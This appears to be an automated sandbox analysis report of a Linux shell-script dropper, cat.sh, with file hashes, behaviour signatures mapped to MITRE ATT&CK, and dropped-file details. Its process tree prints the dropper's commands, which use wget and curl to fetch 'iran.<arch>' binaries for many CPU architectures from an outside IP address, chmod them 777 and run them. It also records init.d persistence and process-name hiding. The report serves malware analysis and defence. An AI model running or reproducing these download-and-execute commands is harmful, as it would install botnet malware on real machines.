02afacab8fe2e07c68d28c74d94b1b0ad4e99d84bbf855f66f8f2a08247f52f3

Analysis

max time kernel
149s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/10/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cat.sh
Size 1KB
Sample261007-jdl8pavw7m
SHA256 02afacab8fe2e07c68d28c74d94b1b0ad4e99d84bbf855f66f8f2a08247f52f3
MD5 7131b5008a7ef45a05eb27a62256ebb0
SHA1 75332c77a4818a4cd0a480d4311aabbd2f02a497
SHA512 c06c2041d2cb838abf623b5880232adf79623c52a344ebae96ff511acbb3384f67655db5b883591e2528ce7655666258aa1a37e656febf08de68075778df66c7
TLSH
T15E41428918B0E113E1D8CE01B0E1C7945266F58672F62EBEEDC92DAFE8D9D40B035B35
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
687	chmod
691	chmod
699	chmod
778	chmod
676	chmod
679	chmod
712	chmod
725	chmod
739	chmod
755	chmod
765	chmod
774	chmod
667	chmod
683	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/x86_64	669	cat.sh
/tmp/m68k	680	cat.sh
/tmp/mips	684	cat.sh
/tmp/mipsel	688	cat.sh
/tmp/powerpc	692	cat.sh
/tmp/sparc	701	cat.sh
/tmp/sh4	714	cat.sh
/tmp/arc	727	cat.sh
/tmp/i486	740	cat.sh
/tmp/armv4l	756	cat.sh
/tmp/armv5l	766	cat.sh
/tmp/armv6l	775	cat.sh
/tmp/armv7l	779	cat.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 3 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/xs.main	armv4l
File opened for modification	/etc/init.d/xs.main	armv5l
File opened for modification	/etc/init.d/xs.main	armv7l

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-sh	759	armv4l
Changes the process name, possibly in an attempt to hide itself	-sh	769	armv5l
Changes the process name, possibly in an attempt to hide itself	-sh	781	armv7l

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/12/status	armv7l
File opened for reading	/proc/222/cmdline	armv7l
File opened for reading	/proc/303/comm	armv4l
File opened for reading	/proc/764/cmdline	armv4l
File opened for reading	/proc/43/comm	armv5l
File opened for reading	/proc/737/comm	armv5l
File opened for reading	/proc/770/comm	armv7l
File opened for reading	/proc/20/stat	armv5l
File opened for reading	/proc/768/cmdline	armv5l
File opened for reading	/proc/25/status	armv7l
File opened for reading	/proc/566/stat	armv7l
File opened for reading	/proc/42/stat	armv4l
File opened for reading	/proc/304/status	armv4l
File opened for reading	/proc/12/status	armv5l
File opened for reading	/proc/18/stat	armv5l
File opened for reading	/proc/108/comm	armv7l
File opened for reading	/proc/23/stat	armv7l
File opened for reading	/proc/787/comm	armv7l
File opened for reading	/proc/824/stat	armv7l
File opened for reading	/proc/6/status	armv4l
File opened for reading	/proc/98/cmdline	armv4l
File opened for reading	/proc/108/cmdline	armv4l
File opened for reading	/proc/1/comm	armv5l
File opened for reading	/proc/16/status	armv5l
File opened for reading	/proc/19/cmdline	armv5l
File opened for reading	/proc/27/stat	armv7l
File opened for reading	/proc/840/status	armv7l
File opened for reading	/proc/169/comm	armv4l
File opened for reading	/proc/8/stat	armv4l
File opened for reading	/proc/281/stat	armv4l
File opened for reading	/proc/5/comm	armv5l
File opened for reading	/proc/136/cmdline	armv5l
File opened for reading	/proc/11/stat	armv7l
File opened for reading	/proc/29/stat	armv7l
File opened for reading	/proc/158/status	armv7l
File opened for reading	/proc/23/status	armv4l
File opened for reading	/proc/106/status	armv4l
File opened for reading	/proc/283/comm	armv5l
File opened for reading	/proc/304/cmdline	armv5l
File opened for reading	/proc/281/stat	armv7l
File opened for reading	/proc/643/status	armv7l
File opened for reading	/proc/830/stat	armv7l
File opened for reading	/proc/24/stat	armv4l
File opened for reading	/proc/645/cmdline	armv4l
File opened for reading	/proc/664/cmdline	armv4l
File opened for reading	/proc/9/status	armv5l
File opened for reading	/proc/136/status	armv5l
File opened for reading	/proc/21/cmdline	armv7l
File opened for reading	/proc/581/status	armv7l
File opened for reading	/proc/826/stat	armv7l
File opened for reading	/proc/642/comm	armv4l
File opened for reading	/proc/304/stat	armv4l
File opened for reading	/proc/324/comm	armv5l
File opened for reading	/proc/3/stat	armv5l
File opened for reading	/proc/5/stat	armv5l
File opened for reading	/proc/768/stat	armv5l
File opened for reading	/proc/586/comm	armv7l
File opened for reading	/proc/838/comm	armv7l
File opened for reading	/proc/106/exe	armv4l
File opened for reading	/proc/761/comm	armv4l
File opened for reading	/proc/98/status	armv5l
File opened for reading	/proc/27/comm	armv7l
File opened for reading	/proc/24/stat	armv7l
File opened for reading	/proc/815/comm	armv7l

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
684	mips
686	wget
688	mipsel
682	wget

Writes file to tmp directory 16 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/mipsel	wget
File opened for modification	/tmp/armv5l	wget
File opened for modification	/tmp/armv6l	wget
File opened for modification	/tmp/armv7l	curl
File opened for modification	/tmp/powerpc	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/i486	wget
File opened for modification	/tmp/aarch64	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/arc	wget
File opened for modification	/tmp/armv6l	curl
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/sparc	wget
File opened for modification	/tmp/armv4l	wget
File opened for modification	/tmp/armv5l	curl

/tmp/cat.sh
/tmp/cat.sh
1⤵
- Executes dropped EXE
PID:645
- /usr/bin/wget
  wget http://176.65.139.204/iran.x86_64 -O x86_64
  2⤵
  - Writes file to tmp directory
  PID:646
- /bin/chmod
  chmod 777 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:667
- /tmp/x86_64
  ./x86_64 catloader
  2⤵
  PID:669
- /usr/bin/wget
  wget http://176.65.139.204/iran.aarch64 -O aarch64
  2⤵
  - Writes file to tmp directory
  PID:671
- /bin/chmod
  chmod 777 aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/aarch64catloader
  ./aarch64catloader
  2⤵
  PID:677
- /usr/bin/wget
  wget http://176.65.139.204/iran.m68k -O m68k
  2⤵
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod 777 m68k
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/m68k
  ./m68k catloader
  2⤵
  PID:680
- /usr/bin/wget
  wget http://176.65.139.204/iran.mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:682
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/mips
  ./mips catloader
  2⤵
  - System Network Configuration Discovery
  PID:684
- /usr/bin/wget
  wget http://176.65.139.204/iran.mipsel -O mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod 777 mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/mipsel
  ./mipsel catloader
  2⤵
  - System Network Configuration Discovery
  PID:688
- /usr/bin/wget
  wget http://176.65.139.204/iran.powerpc -O powerpc
  2⤵
  - Writes file to tmp directory
  PID:690
- /bin/chmod
  chmod 777 powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/powerpc
  ./powerpc catloader
  2⤵
  PID:692
- /usr/bin/wget
  wget http://176.65.139.204/iran.sparc -O sparc
  2⤵
  - Writes file to tmp directory
  PID:694
- /bin/chmod
  chmod 777 sparc
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /tmp/sparc
  ./sparc catloader
  2⤵
  PID:701
- /usr/bin/wget
  wget http://176.65.139.204/iran.sh4 -O sh4
  2⤵
  - Writes file to tmp directory
  PID:703
- /bin/chmod
  chmod 777 sh4
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/sh4
  ./sh4 catloader
  2⤵
  PID:714
- /usr/bin/wget
  wget http://176.65.139.204/iran.arc -O arc
  2⤵
  - Writes file to tmp directory
  PID:716
- /bin/chmod
  chmod 777 arc
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/arc
  ./arc catloader
  2⤵
  PID:727
- /usr/bin/wget
  wget http://176.65.139.204/iran.i486 -O i486
  2⤵
  - Writes file to tmp directory
  PID:729
- /bin/chmod
  chmod 777 i486
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/i486
  ./i486 catloader
  2⤵
  PID:740
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv4l -O armv4l
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/armv4l
  ./armv4l catloader
  2⤵
  - Modifies init.d
  - Changes its process name
  - Reads runtime system information
  PID:756
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv5l -O armv5l
  2⤵
  - Writes file to tmp directory
  PID:758
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv5l -o armv5l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod 777 armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/armv5l
  ./armv5l catloader
  2⤵
  - Modifies init.d
  - Changes its process name
  - Reads runtime system information
  PID:766
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv6l -O armv6l
  2⤵
  - Writes file to tmp directory
  PID:768
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv6l -o armv6l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/armv6l
  ./armv6l catloader
  2⤵
  PID:775
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv7l -O armv7l
  2⤵
  PID:776
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv7l -o armv7l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:777
- /bin/chmod
  chmod 777 armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/armv7l
  ./armv7l catloader
  2⤵
  - Modifies init.d
  - Changes its process name
  - Reads runtime system information
  PID:779

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xs.main

Path /etc/init.d/xs.main
Size 29B
SHA256 7dd4c5cb5218adbb3e71eb16e974fcfa4d858c7806bc6af85f672881edb305fc
MD5 cdc4b408bfeab9442cd518cc91e01b9a
SHA1 2e46765535bde93ebf2f2081c3f92fc82c0ca7c7
SHA512 9414fba1f43b117b6e659d1ca986d9c3b4216b3efbe486af8a3979a1491702c4cb0bfb5346099b1050163ef0935c78a44dcfd6e314605065eb45494dab61c0c0
MD5 SHA1 SHA512

Submit Download

xs.main

Path /etc/init.d/xs.main
Size 29B
SHA256 7ce582bd7309aa2ceebd476af4e5746d855bdd5aad5926552f3316c77fdcb8c3
MD5 36d55e96b9358879e1a8f4f3fd436007
SHA1 188ef5a361ba64a27d0426e92adff8f47de6fdfa
SHA512 690be5ed165caf02e4909ee5c7db54d5ba099af7983a11a2f9dd54a7f7214c38c864e238f17a3e4c914d980b8053815d4b55b67d8994e9b376bf80c13678e6ed
MD5 SHA1 SHA512

Submit Download

xs.main

Path /etc/init.d/xs.main
Size 29B
SHA256 42b6ef5db9a5712515affbe655f7d3d72d4a6069458dc38c3c9f911560e36a8e
MD5 8aa4017c1d3907d3dbd53c3c7c9a571b
SHA1 ebe8ea1b144d305351c9eca2df1c502b01adff01
SHA512 022b73e182232a1305193eb8b13ed7597240f799ff50d08a43714d8cd9a8e59dd3c673f92ee67ba4b5db3d62430ac43d66afce8b12e19d53ef262e02c6b23dcc
MD5 SHA1 SHA512

Submit Download

aarch64

Path /tmp/aarch64
Size 205KB
SHA256 8f4c0563e9fd8901e1c6282740685c4521b877bb0e2bdfd792510672e2b007c9
MD5 cabc0156e6ebeb0e9abb2926ca999311
SHA1 2df58cdc0b3d45fddb86a79dd5e13de5a3c743f8
SHA512 479d8fa32c3549984f4e12bbdf05973dd15f476fcf82290ff2c100082fad001a915d82af6d3bfbede3fc2f5c43584f2e1df375046c56e1e89e5c80fe8bf75838
SSDEEP 3072:MwS1OScpwRz0maXCvz9P+HyC37HbKG9P9nKMhSzboqN3y:vuOScKRz0mayvhPIyu7HWwnKbzboq
TLSH
T191246BA8BA0F6C01F2C3D3F8DE8C87E13A1735E3C7768971791212EDDAA39D95990512
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arc

Path /tmp/arc
Size 153KB
SHA256 45ac99a83d99879ba0cba10fce2f81f772f67e44ef3df726b4c074c2d7a5f230
MD5 852faedb0c41e199182939f654df20f4
SHA1 bf35efde7fae9705235bc2c86817874cd93dc9ba
SHA512 3cd17aabf01b0c4839395e1b8235d557749fb64aa1f9b7a80a2f78d1c430025bce23380e4a2e6f7034db82e60de3e5108da1856e369e2c2c1f22834cce710014
SSDEEP 3072:+xv5yfUhfN8RtoZnGhTNLhs7LTT+RCQX3XqbpygZCBrWOG4u5Ztq:+pEfUhfW3oMJLi7L+B3a9FCBrY4wtq
TLSH
T169F3AF67B34B5050C4E44AF41BCF5BAD292721008E7B99E77C6E723A6A775CB28073E1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv4l

Path /tmp/armv4l
Size 153KB
SHA256 209844df102aea0ebb0c185029f2eaf8f89e9309bfdc1127594b1761519f89a6
MD5 5ab2d2fc9951294d511ce3b633524ffe
SHA1 af8e5c65894cdce3cca110d96f9573941d6704a4
SHA512 b6b85d77934403a9c34f5c0eb29d4562bffff2d643adac947695de865097d991ae3f40eca2d0d13d66ca4474568e02a24a608e26bc329c2e96fe2098bf1f1efe
SSDEEP 3072:smpaNJnxpejYLmzYqNyB6wvk4JX1DRextqziQnS:smpaNJnxpejZVwB6wvxJX1teH+iQnS
TLSH
T1CBF30745BD518B16C6D262BBFF4D428C7B2A1768D3EE31039D295F60378B96B0E3B142
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv5l

Path /tmp/armv5l
Size 12KB
SHA256 e4841ced9869856d7b552f2cd05187a7a5b7e6c6009c374457e5fd7a49032031
MD5 3c2cb094945bcc75f5276579456e7187
SHA1 cf86c2db0110ddc8bbc40172e3df240b0d8040e8
SHA512 0a1323ec5d06043160e63da75fb251c362c014ead01ffbaea112851c1241ce82a9351dc71995aee3f5ba6fb63e2e47392bff0ab7b419f5f906a86e34d70542b8
SSDEEP 384:i08OdpdY9lmPbnZSWsv38CiG3GYFC7RMrNhJuv9DOMhdEn:iApd/ZSWisCicGYFC7irhuxOUdw
TLSH
T1A94229695D6768548DC923B7BC8F64CD73130378C2E9301ADE190F64BBD662E0FB6890
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv5l

Path /tmp/armv5l
Size 150KB
SHA256 7e47c19f82d8a932da2ec9bd42d7b815a05bf4be9ae0e512544fdbfce5f930b8
MD5 86821726e7ac79e6f6ae202498166a51
SHA1 4eda7fb07bce6ae74ee055e42f17c63e8347f263
SHA512 ef03c7988e804423342f70c89ce0a27987dd3d0120bf848140fa6db7ecf9c9d878ed9811ec39c6e3f7fde62c50bade8eb23a659325ffb46034954b4fa55b938d
SSDEEP 3072:3OtstuCDxzd93OBDZf9Qq94cZwiSXUtgKh8J7/8ZMEh+8:3+stuCDxzd9WFfDCcZwiAUtgKqJIZHhD
TLSH
T173E30845FC518B16C6C662BBFF4E428D772A5768D3EE320399256F20378B96B0E3B141
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv6l

Path /tmp/armv6l
Size 165KB
SHA256 b22e4c920695bb35526ff1173f8a8344190576228af1791d941c54ca60fc01e3
MD5 81034c4932e93dad81b0303d6f1d181e
SHA1 4aef02ee98f4e517cff80ece28b90c2a0caab841
SHA512 d84d228324a71b47e8ab4936c30c1cdd8cb4babd5fed04d2f3db2ca331333c2c6da3d393fb6cea01733d74e8c9302aa57e8441693ecd8db970965e4749d15cee
SSDEEP 3072:Oo0R0M1GwnMVyH8VMFU79wfmPtK93ura4hCG3yx67uk6nD2c62+hLz:Oo0R0M1GwnMVW+MFwCOPtU3oaKCMl7uu
TLSH
T1EEF31A56F9819B11C5C156BAFF0E528D73231B78E3DE72129E246B347B8A87B0E3B015
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv7l

Path /tmp/armv7l
Size 142KB
SHA256 6b2171ad66224954ed1845a46ea6aa8f047304957f3e8e514bdeee6abf5139e8
MD5 f8b45c0ff231a7bec1ff3a2dc4ea7b38
SHA1 51e386536b8d0311fef5e5d9d3a93301cc4395df
SHA512 a1ffba6d0e8ae807f215bc4082d1a4c662be7dabbe5b7e2804188016baad848bcd1aedf98dc2509e6909acd8b799f9345f25c45086f08c5a19c33729e76e57a2
SSDEEP 3072:6nZpD+/4jw0P0GmyvC/frevbzQpgMCa5bo0nIQc0r9vI2mmCULXJWcVq0:6nZpD+/4jw0PtfvCazzQvCalfnIQc0rJ
TLSH
T10FE30749ED42AB00D5D636FAFE4E428973535B6CE3FE71129E245B2127CA92B0F7B101
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i486

Path /tmp/i486
Size 98KB
SHA256 e09fe1bcfefb15f916979a7bb04a1a570ed999e2e751f7d80266502727e2b6b2
MD5 1b7b383a457eb3c0f8811ed4d52a0bf1
SHA1 0db3ade910d8a8d7ddd157e7f06f64bebc395e56
SHA512 8c0e2c32b65486408e737a571f121bb46ecc3602eb5eb5bdc4e0d7dca29a05d68e25737631e4faf49206ae1c596651b21fcbbe2e195b25361d669a047a34fc7b
SSDEEP 1536:rw1BTbdc0hDtZx6O/0c3Ra/oLDQ9VPJU3310vntiZvnwl7/4qKU7ysY7r:qq09tZxac3A/oLDYiClSCBY
TLSH
T15AA34C86FB93E0F0D94605B1111FF77D9634EE625024DE5AEBD4BEB2AD32602921B31C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m68k

Path /tmp/m68k
Size 177KB
SHA256 6ace19d81500192e18a25f9b42068e116c20f541ae51f49a1ac2638605081963
MD5 224bee7695185602e54729e98bcb952c
SHA1 003ed343574769de532285fc08b5719c69c51035
SHA512 2d81fec63539e200c5b884cd7957628b8145864b3d5908e751edea1db78f46f7f6126b91e0d98a64b4c82af56362c2b44511fc3b89bd9233e11749d273ecd172
SSDEEP 3072:T1ThtmVqwyJ3XjRcirf200yvcKd34FSkGD52RVRf4grVpjbiNLEy5cKNKB:Fwgx4yvjd34F7GD8V4g2LLPNKB
TLSH
T1520429C7FD00DDBAF809E33748130809B130BBA254925A777257356FED3A295197BE8A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 204KB
SHA256 47ae5b0371a638ce7dddcbec7869fc6fa2e67e546bb1e814f19e87a518233461
MD5 2fcd9362dba6897f1cc497b5b0c45997
SHA1 63b33b09589101a34fddfde7b4fda44fd61e3f79
SHA512 092df53d6547d3432f02ee3fe57e2864339f7ea328baeca36798fa409e809de005e2f89e9c92fcf5317d3b12bb220de87b0a98e443518ea3d679075d594646f1
SSDEEP 3072:sPvQ7inW06qBVrDuQ5SPkCekMcJXs9op/rziTKom:sw7inW06I1DA81qJQ2/r4Kom
TLSH
T19024955E6A328F7DF368873447B74A35975D22D627E1DA84E2ACC1041F2434E681FFA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsel

Path /tmp/mipsel
Size 206KB
SHA256 b2238267cad870db41151a195b2f05870ed72aeda6650a8b9d727b52f2c3ae56
MD5 1d1c2f42bea51a900ea4e4026ff2654b
SHA1 3f4cc818c04b90f0ba9d6c3331937cf1eca7658f
SHA512 813ff90f84c3c76c33b2adda0271baacc4af240f259ad605c8fb0fd4515498e15fc7a78aae92c292431e30e316692d477bd0e72fdb0074ce3ca8f0618f65b71e
SSDEEP 3072:PY/6gT7DbU28Mn0NawZ5aMBjv+7GYNRvO1:PYND1f08wZ5Fj6GY3vO
TLSH
T14624C60AAF610FFBD8AFDD3746E90B0635CC650722A83B3A3674D924F54A54B49D3C68
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powerpc

Path /tmp/powerpc
Size 155KB
SHA256 4d980590fdc794458e66ecde82b683e0b2b057811de970befa53c8ccb5c44b05
MD5 2be8d6396c1563f1e61f8a8e6107581f
SHA1 c3dad37d3b2336e8b800d5a3f373d7604a97352b
SHA512 6b534af3d46614893d59a1ed2e133f004652239067a825965d857f09dddf5e0d2aeefb76acf418bb4687fe89e8b2908c5faad47d7d40496465091fb05a4a9882
SSDEEP 3072:0v9PHxzwpHQxWFrctE3u6LVFq3tpvx6GIW:01PHkQxArcmu6LV03XwGIW
TLSH
T1A5F33B06B30D0947E2672EF43B3B27D1D3DF9A9121F4E744251FAA8A9172D32158ADCE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sh4

Path /tmp/sh4
Size 138KB
SHA256 1bb4fbf5df215757d7a6b1f9601515ec4e12a41c4d695e17898793db2e5b38a8
MD5 83bc1d1c89bbf9995bce4f2cb58ed2bb
SHA1 8cad03474f2a12f1798f9c52ea2ce206d3d24b2d
SHA512 77766ed4c94f159365b075315529f86d2b1a2a229b39d5861e4f1ddf29a980e7dc384fbdc95da1b2e5cb8b2e24e4d3f31f1326387aef30a20665a3183bf39138
SSDEEP 3072:5WbCJEddQ29RHrmP71xmbdspxYNWtrcVhQTv5:5WRjQuRHrmjebmo4trkQD5
TLSH
T142D35BB3D825AF58C564E6B1B0318F781B939A6082471FBE19B7C6748087DCDF6163B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sparc

Path /tmp/sparc
Size 42KB
SHA256 95aff8f144f665a442574864787b4f7f81988631946e9a8405abc7cc1116cac5
MD5 42709e8fa9d67494d2dd8135a9e26b8a
SHA1 323e07180bc82779e4850536e8dccea1ef394954
SHA512 05f845c0814fbb4f5111137830e20d748f3a303a84af617407b2da5b9f328a9f2a315bd45b0e826ed9fe3512811bab3ea173365b2bca7d0a14ded0327f8a0ef9
SSDEEP 768:t6jQLYeiLEKRBTMjONrElzbFjUDK1JviVIoX4M+DoIwS3ZhP3XRcqPbM+svy:BEbMjOU1hKIoDI9JhPnmqL
TLSH
T15B135D328679491BC2C0E77B11A79372E0F62B845190974F7E5A0D8EFE5A340677B3E2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86_64

Path /tmp/x86_64
Size 160KB
SHA256 7bd6aa495ec7595c0576d069e8274e2372f218b6e79ee71c9100cf5c541b24ed
MD5 b5644a585e5a60a66f4fee4ba04b7a80
SHA1 7ee327a4dafc6acddade26bc5238aa60d6cccae0
SHA512 e96ce97902f79c1cb786b8219be73c61109d14c3452f16a394723d470b7bb4599aa58b7c382cc3ad108623c363e0c360510a5be7a7b9e7d963b2649072af5f5d
SSDEEP 3072:wQUpH4VklB1Amd10qb8ODAhv4y1jFg+SVKKE:wZpfYOB25dHKE
TLSH
T165F35B0274D0D4FEC8E5C2B84BEFE136DA32B4595174761F23C8AE262E5DF212B6D650
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads